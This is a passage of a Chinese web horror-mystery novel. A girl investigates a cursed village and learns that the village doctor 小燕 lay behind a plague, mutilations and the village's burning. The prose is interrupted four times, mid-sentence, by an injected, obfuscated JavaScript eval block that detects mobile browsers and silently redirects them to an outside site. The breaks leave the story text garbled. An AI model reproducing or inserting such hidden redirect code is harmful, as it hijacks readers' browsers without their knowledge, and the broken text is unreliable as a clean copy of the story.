壁画如水鬼描绘的一样:村民们架起了一个人,将他押解到村医的旁边。村医的脚上没有画铁链,全身白色、光着脚,倒显得神圣非常。紧接着,被按住的那人被村医割掉了舌头,随即舌头便化作一条红色的鲤鱼腾天而起、向远处游飞走了。而那个人再次被缝上了嘴巴,被村民一起扔进了河里。那条绿色的河流中,被画上了一对满含悲悯之色的双眼。 “就是这样……我当时看到的就是这样!”水鬼笃定道。 孟七从头到尾观察着壁画,突然发现它的最前端似乎有一个露出一半的背影,暗示着前面还有故事,但却不知为何被人擦去了。 然而,在孟七触碰到的一瞬间,壁画却发出了一阵强烈的白光,将他们所有人笼罩进去。 意识逐渐消失。 当孟七再次恢复感知时,陈腐的砖瓦味消失了。 取而代之的,五感感知到的是泥土的芬芳、牲畜的嘶声和村民们充满活力的喧哗。 她睁开眼,发现自己正站在一个阳光明媚、人来人往的村庄里。村民们扛着锄头,挑着水桶,彼此笑着打招呼,充满了生活的气息。 而一个年轻的青年揽着一个人从她面前走过。孟七一眼认出来,那人的怀中,是小燕。 她再度看向那名青年,虽然样貌变化比较大,但还是能依稀看出,这就是当初她看见的那个“河使”。 他此刻穿着一身干净的短打,面容英俊,神采飞扬,与后来那个阴冷的“河使”判若两人。 “崔义哥,你慢点!” 原来他叫崔义。 孟七站在原地,看着这幅活生生的、充满了烟火气的景象,一时间竟有些恍惚。 她定了定神,开始寻找水鬼和大刀女鬼的身影。他们被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272639|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸入壁画时离得不远,应该就在附近。 “欸,客人,你站在这里晒太阳呢!?”小燕看见了孟七,主动挥着手走过来。 或许是有点心理阴影,看见她欢快地走过来,孟七都还有些发怵。 “你那几位朋友呢?不是说了我跟崔义哥出来买就行嘛,你又不认路!”说着,小燕亲昵地上前想要挽住孟七的胳膊,但被孟七不着痕迹地侧身避开了。 旁边的崔义却像是看出来了,上前重新揽住小燕。 “走吧!菜我们都买齐了,我阿娘烧菜可好吃了!” 孟七道了声谢,跟在他们后面走,一路上被小燕热情搭着话。刚到院门口,就看到了同样一脸茫然的水鬼和大刀女鬼。 三人聚在小燕家不起眼的院墙角落,小声商议着。 “这……这是怎么回事?我们进入了壁画?”水鬼看着眼前的一切,难以置信。 “静观其变,”孟七压低声音,“这对我们发现真相很有利。” “那我们现在怎么办?冲进祠堂再找线索?”大刀女鬼提议。 “不行。”孟七立刻否决,“我们现在的身份不明,贸然行动只会引起怀疑。先搞清楚我们现在所处的时间点。” 就在这时,小燕的娘出来看到了他们,热情地招呼道:“哎,正好,刚才隔壁王家婶子跟我说,今晚村里有篝火晚会,庆祝今年的丰收,你们也一起来热闹热闹啊!” 篝火晚会? 水鬼的脸色瞬间一变,他想起了自己被村民们笑着邀请参加“仪式”,最后被强行开颅的惨痛经历。 “我们会去的。”孟七点头回应。 “这是个陷阱!”他低吼道,“他们想把我们也变成那副鬼样子!” 孟七却道:“去看看,这是最好的机会。” 夜幕降临,村子中央的空地上燃起了熊熊的篝火。村民们围着火堆坐在一起,空气中弥漫着烤肉和米酒的香气。 孟七三人混在人群的边缘,警惕地观察着一切。然而,出乎他们的意料,这只是一场再正常不过的、充满了欢声笑语的庆典。时不时还有村民给他们递上自己家里带来的吃食和水果,没有诡异的仪式,没有狂热的信徒,只有朴实的快乐。 “好像……是我们想多了?”大刀女鬼有些疑惑。 就在这时,远处人群的中央传来一阵喧哗。 几人循声看去。 在篝火最明亮的地方,那个名叫崔义的英俊青年,正抱着一把老旧的木琴,弹唱着乡间的歌谣。他歌声洪亮,引得周围的民众们阵阵喝彩。 而小燕,就坐在他身边,微笑着看着他,时而对视,可见二人情深意重。 在村民们的打趣声中,孟七却看到了另一个熟悉的身影。 一个青年独自坐在一块石头上,默默地喝着闷酒。他身材瘦小,相貌平平,显得有些局促和自卑。旁边有人坐在他身边与他搭话,他也只是尴尬笑了笑,聊了没两句。 水鬼和大刀女鬼也发现了他。 “田永……”水鬼念出了这个名字。 眼前的田永,还不是那个被囚禁、被折磨的哑巴鬼。他只是一个普通的、甚至有些不起眼的村民。 8. 翡翠河(5) 一夜无事。 第二天清晨,孟七三人刚从小燕家的院子里出来,就听到村口传来一阵喧闹。几个早起的村民正聚在一起,兴奋地议论着什么。 “你们听说了吗?田永那小子,昨晚不知道发了什么癫!” “怎么回事?” “他昨晚后半夜,挨家挨户地敲门,把大伙都喊到他家去,说是要给咱们看神迹!说他被河神托梦,从河里请了个宝贝回来!” “真的假的?那小子平时闷声不响的,还能有这本事?” “谁说不是呢!我今早好奇,跟着人去看了,乖乖,你们猜我瞧见什么了?”那村民卖了个关子,压低声音,神秘兮兮地说,“一块比水牛还大的绿翡翠!就摆在他家院子里!那光泽,那水头,啧啧,真是神物啊!” 孟七三人对视一眼,混在人群中,朝着田永家的方向走去。 田永家在村子的最东头,是个破旧的小院。此刻,院子内外已经挤满了前来围观的村民。 三人奋力挤到前面,终于看清了院子里的景象。 只见院子正中央,静静地躺着一块巨大的、通体翠绿的矿石。它表面光滑,在晨光下流淌着一层温润的光泽。 而那个曾经不起眼的田永,此刻正站在巨石旁边,挺着胸膛,满面红光,享受着村民们敬畏和羡慕的目光。 孟七心中一动,她想上前去触摸一下那块巨大的“翡翠”,水鬼和大刀女鬼也跟了上来。 然而,就在孟七的手指即将触碰到那冰冷石面的瞬间—— “嗡——!” 一股无法抗拒的力量瞬间将他们笼罩!眼前的阳光、人群、喧闹的村庄如同被打碎的镜子,轰然解体! 强烈的眩晕感过后,三人发现自己又回到了那个阴冷、死寂的祠堂。头顶上用布条绑着的翡翠碎片冰冷依旧,仿佛刚才的一切都只是南柯一梦。 “我们……回来了?”水鬼晃了晃脑袋,一脸的难以置信。 “看墙上!” 两人立刻回头,只见那面他们之前看过的壁画,发生了惊人的变化。 在原有壁画的前面,多出了一幅新的画面:无数村民正兴奋地从河里捞出大大小小的绿石头。他们将小块的石头塞进自己的耳朵、鼻孔,甚至用布条勒住嘴巴,血从他们的五窍流出,但有几人依旧张开双臂,似是拥抱着什么从天而降的福气。 而在原有壁画的后面,则补上了一幅更恐怖的景象:一个穿着百布衣的祭司,正高高站在祭台上。他的脚下,村民们排着队,互相帮助,用石锥凿开彼此的头骨,将发光的绿翡翠,微笑着塞进脑子里。 “这些,我们都已经知道了。”水鬼蹙眉。 就在这时,祠堂那沉重的木门,“吱呀”一声被缓缓推开。 一股阴风灌入,紧接着,一群皮肤泛着玉石绿光的村民,排着整齐的队列,鱼贯而入。 三人紧贴着石碑躲在后面,噤声。 只听见村民们似乎走了供桌前,纷纷跪在地。 随后,一片寂静中,脚步声从门口缓缓走近,停在了供桌边。 “献信衣——” 紧接着,是窸窸窣窣穿上那件百布衣的声音。 “神恩浩荡,尔等……当永享安宁。” 孟七在听到这个声音的瞬间,握紧了拳。 在剩下的一堆赞颂河神和神石的仪式过后,村民们才如同潮水般退去,祠堂再次恢复死寂。 确定没有人后,孟七才缓缓开口:“刚才的声音,是崔义。” “我也听出来了。”水鬼蹙眉,“发现石头的是田永,为什么‘河使’却是崔义……我想到了!难道是他抢走了田永的石头,传播邪说,然后把田永割掉舌头扔进了河里!?” “这就说得通了!”大刀女鬼也道,“所以田永不仅恨那些村民,最恨的其实是崔义。那我们只要把崔义干掉就行了!”说着,她就要提刀往外走去。 孟七拦下她,这时,她的手却突然在石头上摸到了凹陷的触感。 她顺着看去,石碑上此刻出现了几段用利器刻上去的文字: “妖言惑众!他非神使,乃水鬼也!其言如蜜,其心如毒!村民愚昧,信其鬼话,弃农耕,废人伦,日夜拜石,与禽兽何异?” “亲邻反目,父母食子!只因我言石乃祸根,便斥我为‘浊人’!小燕……小燕亦不信我……她说我嫉妒,已被污秽蒙心!” “吾身可灭,吾言不屈!他日若有后来者见此碑文,切记,勿信河中之鬼,勿碰岸边之石!此乃血泪之鉴!” 落款,只有一个字——“永”。 田永!这分明是田永留下的血书! 三人走出祠堂,心中已是翻江倒海。门口,几个村民鬼魂正在游荡。看到他们头上的翡翠碎片,一个村民好奇地问:“你们也信奉河神?” “当然。”孟七立刻接话,脸上装出无比虔诚的样子,“我等外乡人,听闻神迹,特来朝拜。将神石置于头顶,以示对神明至高无上的敬意。” 这番话似乎取悦了村民,他的态度立刻变得友善起来。 “原来是这样,”村民点头道,“那你们知不知道,前几天,村中出了个口出狂言的叛徒,竟敢污蔑河使大人?” “略有耳闻。”孟七顺着他的话说下去,眼中露出一丝愤慨,“我们正想去教训教训他!不知道他现在何处?” “哼,他?”村民脸上露出一丝快意的残忍,“就在昨天,被河使大人亲令,由祭医剪了他的浊根,缝了他的秽口,已经扔进神河里,永世不得超生了!” 三人心中一凛,告别村民后,立刻向河边冲去! 水鬼再次施展能力,强大的水流在河中搅动,很快,一具被捆绑着手脚、嘴巴被黑线缝得严严实实的尸体,被他从河底拖了上来。 正是田永!他的身体冰冷,早已没了气息,几人将他拖到离河边较远的地方。 “舌头!”大刀女鬼立刻上前检查,她用刀尖小心地挑开田永嘴上的黑线,发现里面只有鲜血淋漓的一截,卡在喉口。 “河里也找不到!”水鬼脸色铁青,他在拖出尸体的同时,已经探查了周围的水域。 就在这时,孟七突然想到什么,对大刀女鬼道:“之前的舌头呢?” 大刀女鬼慌忙拿出,递了过去。 孟七从大刀女鬼手中接过那截早已干涸的舌头,颤抖着,将其对准了田永口中那血肉模糊的伤口。 不大不小,不偏不倚。 断舌……完美地对上了! 孟七长舒了一口气,却像是累了一般将舌头扔回到了地面,坐在了地上。 “所以,真相大白了!”水鬼也一屁股坐在了地上,拍了拍手掌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272640|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总结道,“田永得到了石头,崔义抢了过来,自封河使,愚弄村民,还把田永割舌缝口,扔进河里。田永冤魂不散,创造了这个世界。” 大刀女鬼也想拍案叫绝,却发现此刻孟七的脸色并不好看。 “……怎么了,小丫头,你觉得不对?”大刀女鬼问。 孟七没有回答,她静静地坐在地面,看着那半截舌头。 不对劲,还是不对劲。 她从头捋了一遍。 如果是崔义抢走了田永的石头,田永死了,村民又是谁杀的?牌位又是谁设立的?崔义的嘴巴又为什么会被缝起来?这些问题都还没有解答。 孟七总觉得,在这些事件中,还有的地方没有被挖掘。比如崔义为什么要抢田永的石头?比如村民为什么会对神石论深信不疑?比如……有没有什么人或事,被他们忽视了? “那些牌位……”水鬼冷静下来,也想到了这点,“田永也死了,那么谁没死?” “确实有一个人。”孟七道,“河使崔义,田永死后,就没人有动机和能力杀他。” “崔义?”水鬼思考了一阵,道,“可是是他一手促成村民变成那样,他还是被村民们捧着的河使……他又为什么要这么做?掩盖罪行?” 孟七摇了摇头,闭上眼,疲惫地捏了捏眉角。 不对,不对,还是不对。 究竟是什么一直隐藏在背后,推动着一切? 大刀女鬼看两人愁眉苦脸的样子,提议道:“要不先回去,顺便看看那个家伙怎么样了,休息一会,再分析分析。” 水鬼和孟七都点了点头,他们将田永的尸体埋在了一片沙土下,舌头也塞回了他的嘴里。 “一切还没有结束。”做完这些,水鬼站在旁边,望向远处又要落下的日头,“这里的一天过得太快了。” 孟七同样心有焦躁,她的直觉告诉她,时间不多了。 然而,当他们回到本身用礁石堆成的藏身处时,却发现原本躺在里面的病弱鬼不见了。 “他……不会消散了吧。”大刀女鬼上前,仔细探查了一遍刚才病弱鬼躺着的地方,却一无所获。 水鬼不甚在意,坐在一边,依旧在想着破解的事。 而这时,孟七却想起什么,问道:“那家伙之前是不是说,他阴气不足,无法再消耗?” 大刀女鬼点点头:“是啊,这家伙一开始看着就不太行了,结果进来又被那河折腾了一遍,就更虚了呗。” “那条河?”孟七坐在角落,喃喃道,“如果那条河会让他变虚弱……” “有什么问题吗?” 孟七摇摇头:“我只是在想,我们在不同的阶段看见的那条河,究竟会不会随着时间改变?” “什么意思?” “如果我们一开始取出了舌头,后面才遇到田永被割舌投河的事,那么舌头在我们手上的时候,田永究竟有没有第二条舌头?还是说,这根本就是同一个时间线。第一天,田永被割舌,当晚我们遇见了哑巴鬼。第二天,我们捞出田永尸体,舌头就是他的那条。” “那……那个鬼是什么?”水鬼摸了摸不存在的鸡皮疙瘩,“田永的灵魂?” 大刀女鬼看了他一眼:“他的灵魂是石头做的?你自己就是鬼你怕什么?” 孟七却笑了笑:“我倒觉得,是第三个人。” 9. 翡翠河(6) 夜深的时候,孟七坐在墙角,终于想明白了。 整件事的始末中,最不对劲的就是,所有的事件看起来都不像是崔义和田永两个人就可以做成的事。 而那些没有想通的逻辑、无法从两人内部获取的因果,如果再补上第三方力量,就可以解释了。 这个人一直游走在崔义和田永之间,先是帮助田永获取村民的信仰,又因为选择崔义而放弃田永,最后与崔义发生龃龉,于是将村民和崔义一起埋葬。 想到这里,孟七打算从洞口出去。 “你去干什么?”水鬼问。 “只是逛逛。” “逛逛?”水鬼劝说道,“还是别出去冒险了,外面天还黑着呢。” 孟七顿了顿,留下一句:“很多真相,或许就在我们不敢踏入的黑暗之中。” 因为没有把握,她不打算带上另两个队友。 这个世界的月光颜色很淡,是稀奶油一样的白色,洒在这片河岸上,映照着这条翡翠河也显得风平浪静了许多。 “啪嗒——” 孟七一惊,她听到了水击的声音。 她循声望去,心脏猛地一缩。 就在不远处的下游,一块被月光照得发亮的礁石上,坐着一个佝偻的背影。短发,身形矮小,脚边放着一个鱼篓,手上拿着一块方形的东西……和副本封面上的那个身影,一模一样! 孟七立刻放轻脚步,小心翼翼地朝那个背影靠近。 但无论她走得多快,那个背影与她之间的距离,似乎永远都没有缩短。他就坐在那里,仿佛在世界的尽头,一个看得见,却永远无法触及的坐标。 就在孟七焦躁地试图再次加速时,一股刺骨的寒意,毫无征兆地从她背后穿身而过! 她猛地僵住,缓缓回头。 成群结队的村民,正从村庄的方向,面无表情地,朝着河岸走来。他们排着整齐的队列,像一支送葬的队伍,目光呆滞地望向前方,直直地向孟七走来。 然而,他们无视了孟七,径直从她的身体中穿过,每一次穿过都带走她的一丝温度。 一个,两个,十个,上百个……孟七就像一块被亡魂洪流冲刷的礁石,动弹不得,只能感受着那一次次冰冷的穿透。 莫大的悲伤涌上心头,孟七努力克制住自己,但随着村民们的走过,她的躯体虽未受伤,却似乎承载了千万次的万箭穿心。 “救……救命……” 就在这时,一声凄厉的、夹杂着火焰爆裂声的喊叫,从远处的村庄方向传来! 孟七猛地回头望去,只见村庄的上空,映出了一片晚霞般的火光。 她心中一紧,却无法挪动分毫,再次回头看向河岸时,却发现那个原本遥不可及的背影,不知何时,已经出现在她的面前不足十米。 那个背影就坐在那里,背对着火光冲天的村庄和她,仿佛一座亘古不变的墓碑。 村庄里的喊叫声越来越凄惨,而河岸却是一片寂静。那些排着队的村民走到河边,随后一个接着一个跳入水中。 就在这时,孟七似乎听到一声轻轻的叹息,又像是笑声。 当她再次移回目光时,那个黑影,已经在了她的面前。 仿佛体内本就是不可触及的黑暗,那身影只是一团黑雾般地漂浮在那儿,孟七的指尖还能感觉到他周身散发的寒气。 就在这时,一股夹杂着草木灰烬味道的狂风,从燃烧的村庄吹来,狠狠地撞在了她的后背上! 孟七只觉得身体一轻,整个人不受控制地向前扑去,穿透了那个黑影的身体! 下一刻,天旋地转。 当她的视线再次清晰时,她低头,首先看到的是自己的躯干——她此刻正坐在那块冰冷的礁石上,而她的身体,是由无尽的夜幕般的黑色构成。 她变成了那个背影。 她能感觉到自己佝偻着背,手里拿着一块方形的冰凉的东西,她能看到那些半透明的村民,正从远处她自己的身体中穿过,走向河流。 她想站起来,想挣脱,想呐喊,却发现自己连一根手指都动不了。 “哗啦——” 似乎是察觉到她想要挣脱的意识,河水里,突然伸出了一只绿色的手,带着河底的冰凉与潮湿,死死地抓住了她的脚踝,将她牢牢地固定在石头上! 不!快逃! 孟七挣脱不得,用尽全身力气,反手抓住了那条手臂,将它向外拖着。 那手臂与她对峙着,力量非常大,而孟七扔下手里的东西,两只手一起抓住了那条手臂。 紧接着,被她硬生生从水里拽出的,是一个湿漉漉的头顶,再是一张被水泡得浮肿、怨毒的脸…… 是小燕! 水里的小燕却突然睁开眼,冲她微笑。 —— 眼前,是礁石洞穴昏暗的石壁。 孟七眨了眨眼,发现旁边,水鬼和大刀女鬼正一脸担忧地看着她。 “你终于醒了!”大刀女鬼松了口气,“做什么噩梦了?一直在这里抽搐,也不说话,就发抖……吓死了!” “我……”孟七喘着粗气,摸了摸自己的身体,完好无损。她问:“我怎么回来的?” “回来?”水鬼一脸莫名其妙,“你不是一直在这吗?就是刚才不知道为什么,突然躺在地上开始翻来覆去,还一直蹬腿、抽搐。” 孟七抹了一把额头的汗,平复好心情后,对两人道:“我知道是怎么回事了。” 此刻,外面的天已经有了亮度,三人走出洞,重新把石块绑在了头顶。 “你是说,我们今天就能结束?” 孟七点点头:“嗯,顺利的话。” 大刀女鬼大喜过望:“那我们今天要做什么?还有,你昨天说的‘第三个人’究竟是什么意思?” 孟七转过身,神情严肃地看着他们:“昨夜,村民应该都死了。” “死了!?” “我们今天只有一个要注意的,就是不要和任何村民搭话,跟我走,找到‘第三个人’。” “你已经知道第三个人是谁了?”水鬼问。 孟七默叹了口气:“一个始终徘徊在田永和崔义之间,却又保持着隐身的家伙。我真的很想听听她的故事。” 她看过那个女孩化作没有意识的傀儡时的模样,还见过她编着两条粗麻花辫,在阳光下一甩一甩的场景。 只是不知道现在过去,会是怎样。 村子里很安静,但和他们之前看到的不同,静谧与年代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272641|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感荡然无存,只剩下一片火烧后的焦糊味,以及成片的废墟。 火是从祠堂里开始烧的,因为外围的房子尚有砖瓦残存,而村庄中间的楼屋都已然是大片黑红色的焦土。 然而,祠堂原本的地方,楼屋已然坍塌找不到存在的痕迹,可一座方形的灰色石碑依旧屹立在中间。 石碑上,不但没有被烧灼的痕迹,反而是两面都有了刻字。 反面依旧是署名为“永”的愤慨之词,另一面却刻着: “吾代神明泣,哀尔等沉沦苦海,不识净土。今引神火,焚尔等污秽之身,渡尔等蒙昧之魂。自此,再无谎言,再无贪欲,唯有永恒之安宁。此非终结,乃新生也。” 孟七仅仅是扫了一眼,然后带着满心疑惑的水鬼和大刀女鬼,绕过废墟,径直走向了村西头。 院门虚掩着,里面没有任何声音。孟七推开门,一股浓郁的血腥味和香烛味混合的气息扑面而来。 堂屋正中,一个穿着百布衣的身影正背对着他们,跪坐在蒲团上。面前摆放着两具尸体,头骨都被工整地打开,里面空空如也。 听到脚步声,那身影缓缓地转过头。 是小燕。 “你们来了。”她平静地开口,仿佛在等待久违的客人,“来见证最后的净化吗?” “是你让我来的。”孟七道。 小燕笑了:“是啊,原本是想让你好好睡一觉,一切就都过去了。没想到你却不愿意。” “你策划了一切!?”水鬼质问。 “是啊。”小燕站起身,拍了拍身上的百布衣,道,“一开始,我也以为是你们的运气好。不过后来,我发现了不对劲。” 说着,小燕看向孟七:“你不是鬼,你是人类。” “人和鬼是不一样的,哪怕在这里看起来没什么分别。人因为没有死过,所以总是不太敢相信生命的真相。”小燕轻笑道,“田永愚蠢,崔义傲慢。他们都看到了神石的力量,却只想着满足自己那点可怜的虚荣。只有我,看到了真正的神谕。” “什么神谕?” “净化。”小燕站起身,张开双臂,如同拥抱整个世界,“这个村子,从根上就烂了。田永让那群愚昧的家伙真的相信了他,居然还要割掉崔义的舌头!我怎么能看着他这么做?所以我动手了,把他和崔义交换了身份,让崔义哥做祭司!” “可是,崔义哥原先是多么正直的一个人,在尝到权力的滋味后,居然也开始想要掌控大家,甚至想抛弃我!”小燕一边说着,一边露出怨恨的表情,“我把他的嘴也缝了起来,我让自己取代了他,最后用天火焚烧了一整个村子的罪孽!这才是真正的净化!” 话音刚落,周围“腾”地燃起一层层大火,将几人包围在内,这件狭小的屋子也开始被点燃、坍塌。 “那我先收了你!”大刀女鬼呵了一声,冲上前去。 下一刻,百布衣突然张开,变成一张天罗地网,像几人扑来。 水鬼发动水咒,大刀女鬼用刀意抵抗着百布衣的来势汹汹。 而孟七站在一边,她的大脑在听完小燕刚才的话后,却比一开始更加清明。 “你刚才说的话,我不信。小燕。” “或者说,应该叫你——村医?” 10. 翡翠河(7) 一片寂静中,周围的火焰依旧在燃烧,然而这方天地间只剩下面面相觑的水鬼和大刀女鬼,以及沉默着的孟七。 “……你,怎么知道的?”水鬼挠了挠头,打破了这份宁静。 孟七向周围看去,记忆里的这座村庄,曾经也有璀璨的阳光和遍地绿茵,此刻却像是一片坟场,高低错落的小丘是由楼屋碎片组成的,一砖一瓦,尽成烬土了。 “她撒了三次谎,田永、崔义、她自己,她企图用这样来隐藏她的根本目的——我猜,村民应该都被她藏在了那幅壁画里。” “这,这也能猜到?” “并不难猜。”孟七道,“我只是搞懂了一件事,就是我们三天内发生的一切,不是随机出现的,而是随着时间顺序的演绎。 “昨晚我在梦里,看见村民一个个跳入河中,而小燕坐在旁边,我被拉入她的视角,却发现她的手上拿着一个方形的东西——我推测,那就是我们在祠堂里找到的藏着两本书的铁盒。 “小燕在河里,她是被淹死的,所以在第一天时,她的特征都与那些石头村民不一样,只有她是真正的鬼。而她利用了那条河,用石头创造出了村民和田永,来完成这场演绎。那个哑巴田永也在第一天夜晚就引导我们不要出去,因为所有的事,田永的死、村民的死,都发生在晚上。 “可是昨晚我有一点没有想明白,村庄着火,为什么村民却明明都在河边? “直到今天听到她的话,我才意识到那些自白才是她最后的陷阱,她想把一切都归咎在自己身上……而让我想到的,就是那些死去的村民,一个个跳进了河里。 “一个能让村民无限信仰的人,一个能包容疾患痛苦的人,一个能帮村民实现‘净化’的人,一个会记住每个人的名字,又帮每个人立牌位的人……” —— 我叫刘小燕。 我想救大家。 我从小就生活在这个村子里,这里的每一块砖、每一捧土,都像是我的乡亲。 我从小跟着村子里的李大夫跑跑腿,顺便也学了治病,后来村子里的李大夫老了,他没有老婆和孩子,就把那个医馆给了我,我也给他养了老,伺候他入了土。 崔义哥跟我从小一起长大,我喜欢他,他也喜欢我。 崔义哥很好,乡亲们也很好……田永,他也很好。 田永来找到我的时候,是一个下着暴雨的晚上,我当时被困在医馆里回不了家,没想到还能遇到田永。 田永全身湿透了跑进来,让我去救救他娘。 他娘的病有很久了,李大夫还在的时候就看过,没看好,现在到了我,我也看不好。 可是我不能看着田永在我面前跪下,我跟他去了。 田家阿娘的腿疾到了阴雨天就一直会疼,后来逐渐发展到不能站立。她就一直躺在那张床上,蓝色的床褥很少更换,上面的污瘢每次都被她用被褥挡住。 但是这次,我发现了不对劲。她一直在发高烧,不仅仅是腿,她全身都在冒出红色的斑点,而且被她轻轻一抓就能显现出血痕。 她想拉住我的手,但我躲开了,她就那样在床上看着我,然后垂下手,轻轻地问:“小燕,俺这样,治不好了吗?” 我好像见过这种病,但是在书上。 我跟田永走出去,我站得离他很远,他注意到了,垂着头。 我问他最近有没有拿过什么奇怪的东西回来,田阿娘有没有接触什么奇怪的东西,他说,他最近从河里捞了一块玉,打算挑到镇上找人卖。 我不懂玉,但我看了一眼,那东西通体翠绿,被他用一个水缸盛着,灌满了水,他不想被人发现,他想发财。 “听说绿玉养人,我就把东西搬到屋子里,跟我阿娘睡了几宿。”他说。 我让他们今晚别出门,然后忐忑地回了医馆,把衣服脱下烧了,然后用烫水洗了个澡。我有些不知道该怎么办了,外面还在下雨,那缸子里的水应该会越来越满,而我的心里好像也有个缸子。 我不敢回家,只好等天亮了往家门口塞了个纸条,爹识字,我让他们“快离村”! 可是,比我爹的消息先来的,是田家附近两家人,他们到医馆门口,看见我关着门,就叫了两声。 我不敢开门,我翻了半宿的书,我甚至觉得自己的身上也开始变红,我一直在抓,我把全身的衣服换了一套又一套,再白的褂子都像是染了绿色的菌。 但我还是没能躲过去,因为医馆外在一个上午就很快挤满了人,里面还有我的爹娘。 原来我娘和我弟弟作昨夜就发了烧,我爹早上看见纸条,却没办法带着他们俩跑。而且我弟弟开始咳血了,他那么小,后来我才知道,他前天在和何家哥儿追村东头的野狗玩,那条狗一直被田永这个好心人喂着。 村子里只有我一个大夫,他们都瞪着那双眼看着我,几十双眼,像是一个巨大的章鱼,上面每一个触角都长满了眼睛,脑袋挤到我这狭小的医馆里来,潮湿的水里全都是有毒的酸臭。 “燕,你想个法子,救救大家。”我爹说。 我给他们抓了退烧的药,打发他们走了,我又翻了一天一夜的书,门外时常有人走动,但又被拉走。 他们说,不要打扰我,我是个好孩子。 直到王婶子家的鸡鸣叫到第四声时,田家阿娘敲了丧钟了。 我开了门,外面横七竖八躺着站着歪着的都是家里的年轻伙子和姑娘,他们年纪跟我差得不大,他们过来是因为家里只有自己能动动了。 一向最顽劣的豪子看见我出来,扑通跪了下来,想抓着我的鞋又不敢,只抹着鼻涕眼泪,让我救他娘。 他娘喜欢做糕点,每次一做就必然是拿到挨家挨户去分,我从小就喜欢她。 我想救,我点点头,他们就一窝地一边磕头一边往家里跑,直喊着“燕子有办法了!” 燕子……燕子…… 村西的方先生以前讲诗词的时候说,燕子这种动物,是最恋家的了。 可我救不了他们。 我救不了他们了。 他们一个个是死在我面前的,医馆里的两张病床都收起来了,只剩下一片空地,村子里爬不起来的就基本都在这里打了地铺,点滴瓶是家里人给用手举着的。 村后的地,基本都荒了,我从山上采草回来时看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272642|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,田里没人在干活了,那些原本忙碌的背影,此刻都躺在我那间小小的医馆里。 可是,一天天下来,躺下的人比重新站起的人越来越多。 他们知道我没办法了,但他们也不怪我,只谢谢我。几家家里都要没了人的最后来我这里,把家里的面粉鸡蛋什么的一并扔了来,给那些还在治的烧了吃了。后来,就再也没见到了。 后来的后来,我挨家挨户去找,才发现已经在屋梁上断了气,很久了,身体已经全都挂了下来。 崔义哥一直信我,他总是来回地跑,拿东西、运人、烧饭做菜。他跟大家伙说自己做了梦,梦里有女娲娘娘,娘娘告诉他,村子里不会有事,已经传了仙法给燕子,她会治好大家。 其实没人信他的话,他就拿了他的琴来给大家弹,一边弹一边唱。这样,医馆里的哭声就少了不少,在睡梦里安稳地走的人也就多了不少。 田永又跑回来了,他还活着。我找到了方法,我让他躺下来,抽他的血,我觉得那样是有用的。 一开始,好像确实有几个人是有好转的,于是田永疯了,他每天都在医馆后面的药房里给自己放血,我抓到好几次,崔义哥也抓到好几次,可他就是不肯罢手。 他说,他有罪,是他害了大家。 后来他回了家,但还是找人送血来。我渐渐发现没什么用,可他却觉得是血少了。他把自己的舌头割了下来,嘴巴缝了起来,为了让自己不叫疼,不让别人发现。 再后来,崔义哥也病了,他全身肿了起来,喉咙被巨大的瘤堵住了。他再也唱不了歌了,只能一直疼得直哭叫着。 但他说,燕子,别哭。 可是我蹲在他的屋子外面,听见他的声音我就想哭。我一直哭,一直哭,直到听见他没了动静。 我以为他睡着了,走进去,却发现他已经没了气息,他的嘴上也被缝了起来。 后来,村子里没几个人了,剩下的几个也回了家,他们说想死在自己院子里。 我那晚做了个梦,我梦到了那块石头,它说,只要把它送回家,它就有办法帮我。 我去了田永家,把那块石头抱了起来,扔回了那条河里。这条河养活了我们一村人,却也害死了我们一村人。 我一家一家地跑,给每个乡亲都立了灵位,放在了祠堂里,放满了。 治病的时候,乡亲们一家出一块布料,给我做了一件百布衣,我也穿上了。 我把乡亲们也都放进了河里,那块石头告诉过我,它能帮我。 于是,一把火烧了整个村子,我也跳进了河里。我要带着村子里的所有人人去讨个说法。 —— 